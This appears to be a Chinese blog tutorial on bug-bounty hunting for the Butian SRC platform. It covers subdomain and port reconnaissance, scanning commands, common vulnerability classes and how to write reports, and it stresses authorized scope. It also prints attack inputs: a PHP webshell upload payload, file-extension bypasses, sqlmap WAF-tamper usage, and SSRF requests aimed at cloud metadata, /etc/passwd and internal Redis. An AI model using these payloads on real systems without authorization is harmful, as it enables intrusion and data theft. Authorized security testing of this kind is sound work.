补天SRC挖洞实战:从信息收集到首个漏洞

一、注册与准备

补天平台注册认证

去补天官网注册账号,然后做实名认证。这一步别偷懒,不认证你连漏洞都提交不了。认证需要身份证正反面,建议用手机拍照上传,审核一般1-2天通过。

工具清单(新手必装)

Chrome浏览器 + F12开发者工具(最基础)
Burp Suite Community(抓包改包,免费版够用)
fofa/hunter账号(资产测绘,注册免费版就行)
OneForAll(子域名收集,GitHub直接下)
subfinder(快速子域名,go语言写的快)
httpx(存活探测,配合subfinder用)
nmap(端口扫描,必装)
goby(可视化扫描,新手友好)
sqlmap(SQL注入检测,不用多说)
dirsearch(目录扫描,Python写的)
EHole(指纹识别,棱洞)
katana(JS提取端点,go语言)

安装建议:这些工具大部分在Kali Linux里自带,如果你用Windows,建议装个WSL或者直接虚拟机跑Kali。

免责声明(必读)

红线不能碰:
– 不要拖库、删数据、改配置
– 不要留后门、webshell
– 不要用扫描器大规模扫(单IP每秒超过10个请求就可能被拉黑)
– 挖到数据不要外传,截图打码
– 确认是SRC范围内的资产再动手

违规操作轻则封号,重则喝茶。补天是合规平台,咱正规挖洞,不搞破坏。

二、信息收集(最关键的50%)

挖洞70%的时间在信息收集上,剩下30%才是漏洞利用。很多新手一上来就上sqlmap,扫半天一个洞没有,就是因为信息收集没做到位。

2.1 子域名收集

子域名越多,攻击面越大。别只盯着主站,很多漏洞都在二级域名、三级域名上。

# OneForAll 批量收集(慢但全,建议跑后台)
python3 oneforall.py --target example.com run

# subfinder 快速收集(适合前期快速摸资产)
subfinder -d example.com -o subs.txt

# 配合 httpx 筛选存活(只保留能访问的)
httpx -l subs.txt -o live.txt -silent

小技巧:把多个目标写进文件,批量跑:

cat targets.txt | while read domain; do subfinder -d $domain >> all_subs.txt; done

2.2 端口与服务发现

扫端口不是为了扫而扫,是找非标准端口上的Web服务。很多企业把后台管理系统放在8080、8443、9090上,这些往往防护更弱。

# 全端口扫描(慢但全,建议晚上挂着跑)
nmap -p- -T4 -A -iL live.txt -oA portscan

# 常见服务快速扫描(白天用这个,快)
nmap -p 21,22,80,443,8080,8443,3306,6379,27017,9200 -iL live.txt -sV -oG quick_scan.txt

关注点:Redis(6379)未授权、MongoDB(27017)未授权、Elasticsearch(9200)未授权,这些都是高分漏洞。

2.3 Web指纹识别

知道目标用了什么框架,才知道打什么漏洞。比如看到Shiro就测反序列化,看到Fastjson就测反序列化。

# EHole 批量识别
ehole -l live.txt

# 或者用 httpx 的指纹识别
httpx -l live.txt -tech-detect -o tech.txt

重点关注框架(按补天漏洞通过率排序):
ThinkPHP:5.x版本RCE漏洞多
Spring Boot:Actuator泄露、SpEL注入
Shiro:RememberMe反序列化
Fastjson:1.2.24/1.2.47反序列化
通达OA:前台SQL注入、文件上传
用友NC:BeanShell RCE
泛微OA:SQL注入、文件上传

2.4 目录扫描与JS提取

很多漏洞藏在隐藏目录和JS文件里。

# 目录扫描(字典要全,推荐使用dirsearch自带的字典)
dirsearch -l live.txt -e * -t 50 -r

# JS提取未授权接口(这个很重要,很多API接口都在JS里)
katana -u http://target.com -jc -o js_endpoints.txt

# 或者用LinkFinder
python3 LinkFinder.py -i http://target.com -o cli

JS里经常能找到:/api/admin/、/v1/users/、swagger接口文档地址、硬编码的API密钥、内网IP地址。

三、漏洞挖掘思路(按补天通过率排序)

3.1 信息泄露(通过率最高,新手首选)

信息泄露是补天通过率最高的漏洞类型,因为危害明确、复现简单、修复容易。

必检路径:

# 批量检查 .git 泄露
gobuster dir -u https://target.com -w common.txt -x php,txt,json

# 或者手动测试
curl -s http://target.com/.git/config
curl -s http://target.com/.env
curl -s http://target.com/WEB-INF/web.xml
curl -s http://target.com/swagger-ui.html
curl -s http://target.com/robots.txt

# 一键检测脚本
for path in .git/config .env WEB-INF/web.xml swagger-ui.html robots.txt sitemap.xml; do
    status=$(curl -o /dev/null -s -w "%{http_code}" http://target.com/$path)
    if [ $status -eq 200 ]; then
        echo "Found: $path"
    fi
done

实战案例: 某高校官网,访问/swagger-ui.html直接看到所有API文档,包括管理员的登录接口和参数。危害描述:攻击者可通过API文档获取系统所有接口信息,进而实施未授权操作。

3.2 未授权访问(高通过率)

未授权访问和信息泄露经常一起出现,找到API端点后直接访问看能不能绕过认证。

必测端点:

/actuator            # Spring Boot 监控
/actuator/env        # 环境变量泄露
/actuator/dump       # 线程dump,可能泄露密码
/actuator/health     # 健康检查
/api/users           # 用户列表
/api/orders          # 订单列表
/admin               # 后台管理

越权测试方法:

# 修改参数看能不能访问别人的数据
# 原请求:GET /api/order?id=1001
# 修改为:GET /api/order?id=1002

# 修改cookie或token
# 原请求:Cookie: user_id=123
# 修改为:Cookie: user_id=124

3.3 SQL注入(中高通过率)

SQL注入现在少了,但教育、政务类网站还是有。重点关注搜索框、API参数、分页参数、导出接口。

# 简单检测(先手工测,再上工具)
# 加单引号看报错
curl "https://target.com/api/list?id=1'"

# 加 and 1=1 看页面是否正常
curl "https://target.com/api/list?id=1 and 1=1"

# 确认存在后上sqlmap
sqlmap -u "https://target.com/api/list?id=1" --batch --dbs

# POST注入(先抓包保存为request.txt)
sqlmap -r request.txt --batch --level 2

小技巧: 如果sqlmap被WAF拦截,加–tamper参数绕过:

sqlmap -u "https://target.com/api/list?id=1" --tamper=space2comment --batch

3.4 逻辑漏洞(中通过率)

逻辑漏洞考验脑洞,多想想业务流程哪里能绕过。

常见场景:
1. 优惠券重放:领券时抓包,重复发送请求看能不能领多次
2. 密码重置缺陷:重置密码时抓包,修改手机号或邮箱为别人的
3. 多步骤跳过:购物流程有3步,直接跳到第3步看能不能绕过支付
4. 并发漏洞:同时发送多个请求,看能不能多次扣券、多次退款

实战案例: 某电商平台,领优惠券接口没有做幂等校验,用Burp的Repeater同时发送10个请求,领取了10张优惠券。危害描述:攻击者可无限领取优惠券,造成企业经济损失。

3.5 文件上传(中通过率)

找头像上传、附件上传、导入功能、编辑器上传。

绕过方法:

# 后缀绕过
.php5 .phtml .jspx .asp;.jpg .asp.jpg .php%00.jpg

# 内容绕过
GIF89a<?php @eval($_POST['cmd']);?>

# 双文件上传
Content-Type: multipart/form-data; boundary=----
...同时上传一个jpg和一个php...

3.6 SSRF(低出现但高分)

SSRF一出就是高危,因为能打内网。

关注参数:

?url=
?image=
?img=
?callback=
?file=
?download=
?redirect=

测试方法:

# 用dnslog检测
curl "https://target.com/proxy?url=http://your-dnslog-domain"

# 打云元数据(AWS)
curl "https://target.com/proxy?url=http://169.254.169.254/latest/meta-data/"

# 打内网服务
curl "https://target.com/proxy?url=file:///etc/passwd"
curl "https://target.com/proxy?url=http://127.0.0.1:6379"

3.7 Shiro/Fastjson反序列化(高分高危)

这两个漏洞一出就是严重,但需要特定版本。

Shiro检测:

# 看响应头有没有 rememberMe=deleteMe
curl -I https://target.com

# 用工具检测
java -jar shiro_tool.jar https://target.com

Fastjson检测:

# 用dnslog检测
# 构造请求包,Content-Type: application/json
# {"name":{"@type":"java.net.Inet4Address","val":"your-dnslog-domain"}}

四、报告怎么写分高

补天评分看4个维度,按重要性排序:

1. 危害描述(占40%)

不要写”存在SQL注入”,要写:

“某教育平台用户信息查询接口存在SQL注入漏洞,通过sqlmap可获取数据库中26万条用户记录,包含用户手机号、身份证号、家庭住址等敏感信息,可能导致大规模用户数据泄露。”

关键点: 量化数据、说明敏感字段、描述攻击链。

2. 复现步骤(占30%)

复现步骤:
1. 访问 http://target.com/api/users?id=1
2. 在id参数后添加单引号,页面报错显示数据库错误信息
3. 使用sqlmap工具:sqlmap -u "http://target.com/api/users?id=1" --dbs
4. 成功获取数据库列表,包含:edu_db, users_db等
5. 进一步获取users表数据,共260,000条记录

关键点: 截图+请求包+响应包,步骤清晰可复现。

3. 修复建议(占20%)

修复建议:
1. 使用参数化查询或预编译语句,避免拼接SQL
2. 对用户输入进行严格过滤,禁止特殊字符
3. 最小权限原则,数据库账户只授予必要权限
4. 部署WAF拦截SQL注入攻击

关键点: 具体可操作,不要写”加强安全意识”这种废话。

4. 资产归属(占10%)

确认域名是企业的自有资产,不是第三方SAAS。可以在补天搜索该域名看有没有其他漏洞报告。

加分技巧

  • 多个低危串成一个高危:同一入口的信息泄露+未授权+弱口令,可以合并成”系统存在多处安全隐患”
  • 附上数据对比:同类企业的漏洞修复情况对比
  • 提供完整利用链:从信息收集到拿到敏感数据的完整过程

五、新手避坑指南

不要做的:

  1. 不要用扫描器大规模扫:IP被封是小事,被企业起诉是大事
  2. 不要拖库、改数据、留后门:这是红线,碰了直接封号+法律追责
  3. 不要硬刚WAF:遇到WAF换个入口,或者换个目标
  4. 不要一天提交100个低危:审核看到批量低危直接忽略

要做的:

  1. 一天提交3-5个高质量漏洞 > 一天扫100个低危
  2. 优先挖教育、政务SRC:补天通过率高,审核快
  3. 信息收集做到位:70%的时间花在信息收集上
  4. 多看看别人的报告:补天公开的漏洞报告,学习写法

六、从0到首个漏洞的完整流程(照着做)

这是给新手的标准流程,照着做3-4小时出第一个漏洞。

# 第1步:选目标
# 打开补天SRC,找教育、政务类目标,选一个二级域名多的

# 第2步:子域名收集
subfinder -d edu.cn -o edu_subs.txt
httpx -l edu_subs.txt -o edu_live.txt -silent
# 大概能收集到50-200个子域名

# 第3步:端口扫描(快速扫描)
nmap -p 80,443,8080,8443 -iL edu_live.txt -sV -oG edu_ports.txt
# 关注非标准端口上的Web服务

# 第4步:指纹识别
ehole -l edu_live.txt
# 重点关注:ThinkPHP、Spring Boot、Shiro

# 第5步:找信息泄露(新手第一个漏洞大概率是这个)
# 批量检查常见路径
for url in $(cat edu_live.txt); do
    curl -s $url/.git/config | grep -q "repositoryformatversion" && echo "$url - Git泄露"
    curl -s $url/swagger-ui.html | grep -q "Swagger" && echo "$url - Swagger"
    curl -s $url/actuator | grep -q "health" && echo "$url - Actuator"
done

# 第6步:深入测试
# 找到信息泄露后,进一步测试
# 比如找到Swagger,直接调API接口看有没有未授权
# 找到Actuator,访问/actuator/env看有没有密码泄露

# 第7步:整理报告提交补天
# 截图+请求包+响应包+危害描述+修复建议

第一个漏洞大概率是:
– .git泄露(能下载源码)
– Swagger未授权(API文档全暴露)
– Actuator泄露(环境变量包含密码)
– robots.txt泄露后台路径

整个流程控制在3-4小时,别在一个目标上耗太久。如果1小时没找到突破口,换下一个目标。


最后说一句: 挖洞是个积累的过程,第一个漏洞可能很简单,但别灰心。信息收集做扎实了,漏洞自然就出来了。坚持一个月,你也能成为补天榜上有名的白帽子。

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

This website uses cookies to analyze site traffic and improve your experience. By continuing to use this site, you consent to our use of cookies.